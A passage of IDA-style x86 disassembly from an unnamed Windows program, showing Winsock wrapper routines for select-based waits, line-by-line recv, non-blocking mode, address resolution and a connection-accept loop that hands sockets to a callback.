mov [esp+13Ch+var_118], 64h
call edi
test eax, eax
jz short loc_41A86B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A881
loc_41A86B: ; CODE XREF: sub_41A7D0+84j
call sub_40196A
test al, al
jnz short loc_41A81E
loc_41A874: ; CODE XREF: sub_41A7D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A881: ; CODE XREF: sub_41A7D0+3Dj
; sub_41A7D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A8A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A8B6
; ---------------------------------------------------------------------------
loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j
mov eax, [esi+806h]
push eax
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A8D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_402108
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A7D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A960 proc near ; CODE XREF: sub_402108j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41A960 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A990 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B4F
retn 0Ch
sub_41A990 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AB24
mov al, [esi+80Bh]
test al, al
jz loc_41AB24
mov edi, dword_5118AC
call edi
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41AABC
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41AABC
call sub_40196A
test al, al
jz loc_41AABC
loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi
sub eax, ebp
cmp eax, ebx
ja loc_41AB24
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
nop
call near ptr 71AB2DC0h
test eax, eax
jz short loc_41AAAF
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz loc_41AB24
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41AABC
loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj
call sub_40196A
test al, al
jnz loc_41AA1B
loc_41AABC: ; CODE XREF: sub_41A9C0+39j
; sub_41A9C0+48j ...
call sub_40196A
test al, al
jz short loc_41AB24
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
nop
call near ptr 71AB615Ah
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41AAF1
mov [ecx], eax
loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AB09
test eax, eax
jz short loc_41AB09
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AB09: ; CODE XREF: sub_41A9C0+134j
; sub_41A9C0+138j
nop
call near ptr 71AB94DCh
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AB24: ; CODE XREF: sub_41A9C0+13j
; sub_41A9C0+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A9C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ABA0: ; CODE XREF: ___:00401622j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41ABF1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41ABF1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41ABD2
mov [ecx], eax
loc_41ABD2: ; CODE XREF: ___:0041ABCEj
cmp eax, 0FFFFFFFFh
jz short loc_41ABE0
test eax, eax
jz short loc_41ABE0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABE0: ; CODE XREF: ___:0041ABD5j
; ___:0041ABD9j
nop
call near ptr 71AB94DCh
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABF1: ; CODE XREF: ___:0041ABA9j
; ___:0041ABB3j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AC20: ; CODE XREF: ___:004019BFj
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41AC3C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC3C: ; CODE XREF: ___:0041AC32j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC52
loc_41AC48: ; CODE XREF: ___:0041AC8Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC52: ; CODE XREF: ___:0041AC46j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41ACB6
mov edi, ebp
loc_41AC6B: ; CODE XREF: ___:0041ACB4j
cmp edi, ebx
jz short loc_41ACB6
cmp [esp+18h], bl
jz short loc_41ACB6
call sub_40196A
test al, al
jz short loc_41ACB6
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41AC48
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41ACA1
cmp al, 0Dh
jz short loc_41ACA1
cmp al, bl
jnz short loc_41ACA9
loc_41ACA1: ; CODE XREF: ___:0041AC97j
; ___:0041AC9Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41ACA9: ; CODE XREF: ___:0041AC9Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC6B
loc_41ACB6: ; CODE XREF: ___:0041AC67j
; ___:0041AC6Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AD00: ; CODE XREF: ___:004021A3j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41AD1C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AD1C: ; CODE XREF: ___:0041AD12j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AD32
loc_41AD28: ; CODE XREF: ___:0041AD6Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: ___:0041AD26j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AD9D
mov edi, ebp
loc_41AD4B: ; CODE XREF: ___:0041AD9Bj
cmp edi, ebx
jz short loc_41AD9D
cmp [esp+18h], bl
jz short loc_41AD9D
call sub_40196A
test al, al
jz short loc_41AD9D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41AD28
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AD7D
cmp al, bl
jnz short loc_41AD90
loc_41AD7D: ; CODE XREF: ___:0041AD77j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AD8A
mov [esi+ebp-1], bl
jmp short loc_41AD8C
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: ___:0041AD82j
mov [edi], bl
loc_41AD8C: ; CODE XREF: ___:0041AD88j
mov [esp+18h], bl
loc_41AD90: ; CODE XREF: ___:0041AD7Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AD4B
loc_41AD9D: ; CODE XREF: ___:0041AD47j
; ___:0041AD4Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ADE0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41ADF2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ADF2: ; CODE XREF: ___:0041ADEAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AE03
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE03: ; CODE XREF: ___:0041ADFBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
nop
call near ptr 71AB951Eh
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AE30 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41AE42
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE42: ; CODE XREF: sub_41AE30+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AE53
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE53: ; CODE XREF: sub_41AE30+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
nop
call near ptr 71AC0B50h
pop esi
retn 8
sub_41AE30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE80: ; CODE XREF: ___:00401C53j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41AEBF
cmp eax, 0FFFFFFFFh
jz short loc_41AEB5
cmp [esi+80Bh], cl
jz short loc_41AEB5
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEB5: ; CODE XREF: ___:0041AE9Ej
; ___:0041AEA6j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEBF: ; CODE XREF: ___:0041AE99j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AEF5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEF5: ; CODE XREF: ___:0041AEE9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AF50: ; CODE XREF: ___:004016EFj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AF6D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AF6D: ; CODE XREF: ___:0041AF61j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AFA9
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AFA9: ; CODE XREF: ___:0041AF9Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AFF0: ; CODE XREF: ___:00401744j
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
nop
call near ptr 77C47A90h
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B060 proc near ; CODE XREF: sub_4018CAj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41B090
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
nop
call near ptr 71AB4519h
retn 4
; ---------------------------------------------------------------------------
loc_41B090: ; CODE XREF: sub_41B060+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
nop
call near ptr 71AB4519h
retn 4
sub_41B060 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B0E0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C49
mov dword ptr [esi], offset off_43F0C0
mov eax, esi
pop esi
retn
sub_41B0E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40187A
test [esp+4+arg_0], 1
jz short loc_41B128
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B128: ; CODE XREF: sub_41B110+Dj
mov eax, esi
pop esi
retn 4
sub_41B110 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B140 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43F0C0
add ecx, 4
jmp sub_401FE6
sub_41B140 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B160 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
push esi
push edi
call sub_40196A
test al, al
jnz short loc_41B172
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B172: ; CODE XREF: sub_41B160+9j
mov esi, [esp+8+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41B1C5
push esi
nop
call near ptr 71AB4FD4h
mov edi, eax
test edi, edi
jnz short loc_41B197
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B197: ; CODE XREF: sub_41B160+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B1AC
loc_41B1A1: ; CODE XREF: sub_41B160+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B1A1
loc_41B1AC: ; CODE XREF: sub_41B160+3Fj
call sub_401F0A
dec esi
push esi
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B1C5: ; CODE XREF: sub_41B160+20j
pop edi
pop esi
retn 4
sub_41B160 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B1F0: ; CODE XREF: ___:004020B3j
push 0FFFFFFFFh
push offset loc_43C007
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40196A
test al, al
jnz short loc_41B22F
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401870
jmp loc_41B3DB
; ---------------------------------------------------------------------------
loc_41B22F: ; CODE XREF: ___:0041B218j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401870
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017EE
test eax, eax
push offset byte_448F40
jnz short loc_41B26C
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B3CE
; ---------------------------------------------------------------------------
loc_41B26C: ; CODE XREF: ___:0041B256j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_448F40
jnz short loc_41B292
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B3CE
; ---------------------------------------------------------------------------
loc_41B292: ; CODE XREF: ___:0041B27Cj
lea ecx, [esp+18h]
call sub_401870
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017EE
push eax
call sub_4382C2
; ---------------------------------------------------------------------------
cmp eax, ebx
jz short loc_41B2D6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov [esp+0Ch], edi
jmp loc_41B3C0
; ---------------------------------------------------------------------------
loc_41B2D6: ; CODE XREF: ___:0041B2BBj
mov edi, [esp+10h]
mov esi, offset dword_4447F8
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B2E4: ; CODE XREF: ___:0041B302j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B308
cmp cl, bl
jz short loc_41B304
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B308
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B2E4
loc_41B304: ; CODE XREF: ___:0041B2EEj
xor eax, eax
jmp short loc_41B30D
; ---------------------------------------------------------------------------
loc_41B308: ; CODE XREF: ___:0041B2EAj
; ___:0041B2F8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B30D: ; CODE XREF: ___:0041B306j
cmp eax, ebx
jz short loc_41B37B
push ebp
loc_41B312: ; CODE XREF: ___:0041B365j
; ___:0041B369j
nop
call near ptr 27E0CD2h
and eax, 0Fh
cmp al, 8
jnz short loc_41B326
cmp word ptr [edi+8], 0Fh
jz short loc_41B36B
loc_41B326: ; CODE XREF: ___:0041B31Dj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B332
mov edi, ebp
loc_41B332: ; CODE XREF: ___:0041B32Ej
mov eax, [edi+4]
mov esi, offset dword_4447F8
loc_41B33A: ; CODE XREF: ___:0041B358j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B35E
cmp cl, bl
jz short loc_41B35A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B35E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B33A
loc_41B35A: ; CODE XREF: ___:0041B344j
xor eax, eax
jmp short loc_41B363
; ---------------------------------------------------------------------------
loc_41B35E: ; CODE XREF: ___:0041B340j
; ___:0041B34Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B363: ; CODE XREF: ___:0041B35Cj
cmp eax, ebx
jnz short loc_41B312
mov edi, ebp
jmp short loc_41B312
; ---------------------------------------------------------------------------
loc_41B36B: ; CODE XREF: ___:0041B324j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015E1
pop ebp
jmp short loc_41B388
; ---------------------------------------------------------------------------
loc_41B37B: ; CODE XREF: ___:0041B30Fj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015E1
loc_41B388: ; CODE XREF: ___:0041B379j
push offset byte_448F40
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B3A8
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015E1
loc_41B3A8: ; CODE XREF: ___:0041B398j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov dword ptr [esp+0Ch], 1
loc_41B3C0: ; CODE XREF: ___:0041B2D1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B3CE: ; CODE XREF: ___:0041B267j
; ___:0041B28Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B3DB: ; CODE XREF: ___:0041B22Aj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B490: ; CODE XREF: ___:00402153j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov dword ptr [esi], offset off_43F0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE0
test [esp+4+arg_0], 1
jz short loc_41B4E8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj
mov eax, esi
pop esi
retn 4
sub_41B4D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B500 proc near ; CODE XREF: sub_401BE0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B500
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B500 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B570: ; CODE XREF: ___:00401D52j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43F0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B5B0 proc near ; CODE XREF: sub_401686j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B6C0
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B6C0
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401492
mov ebp, dword_5118D8
test al, al
jnz short loc_41B613
loc_41B5E9: ; CODE XREF: sub_41B5B0+61j
mov al, [edi+10h]
test al, al
jz loc_41B6AF
mov al, byte_4E8E54
test al, al
jz short loc_41B613
push 7D0h
call ebp
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401492
test al, al
jz short loc_41B5E9
loc_41B613: ; CODE XREF: sub_41B5B0+37j
; sub_41B5B0+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B6AF
loc_41B61E: ; CODE XREF: sub_41B5B0+F9j
mov al, byte_4E8E54
test al, al
jz loc_41B6AF
test esi, esi
jnz short loc_41B64E
push 80Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_41B64A
push esi
mov ecx, eax
call sub_401C49
jmp short loc_41B64C
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej
xor eax, eax
loc_41B64C: ; CODE XREF: sub_41B5B0+98j
mov esi, eax
loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B95
test al, al
jnz short loc_41B667
push 7D0h
call ebp
jmp short loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B667: ; CODE XREF: sub_41B5B0+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_4018A2
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B6A4
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j
; sub_41B5B0+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B61E
loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej
; sub_41B5B0+68j ...
mov ecx, ebx
call sub_4014E7
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj
; sub_41B5B0+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B5B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B720: ; CODE XREF: ___:00401C35j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_41B795
mov esi, ebp
loc_41B73F: ; CODE XREF: ___:0041B793j
cmp esi, ebx
jz short loc_41B795
cmp [esp+18h], bl
jz short loc_41B795
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
call near ptr 71AB615Ah
nop
cmp eax, ebx
jz short loc_41B7A4
cmp eax, 0FFFFFFFFh
jz short loc_41B7A4
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_41B79D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B780
cmp al, 0Dh
jz short loc_41B780
cmp al, bl
jnz short loc_41B788
loc_41B780: ; CODE XREF: ___:0041B776j
; ___:0041B77Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B788: ; CODE XREF: ___:0041B77Ej
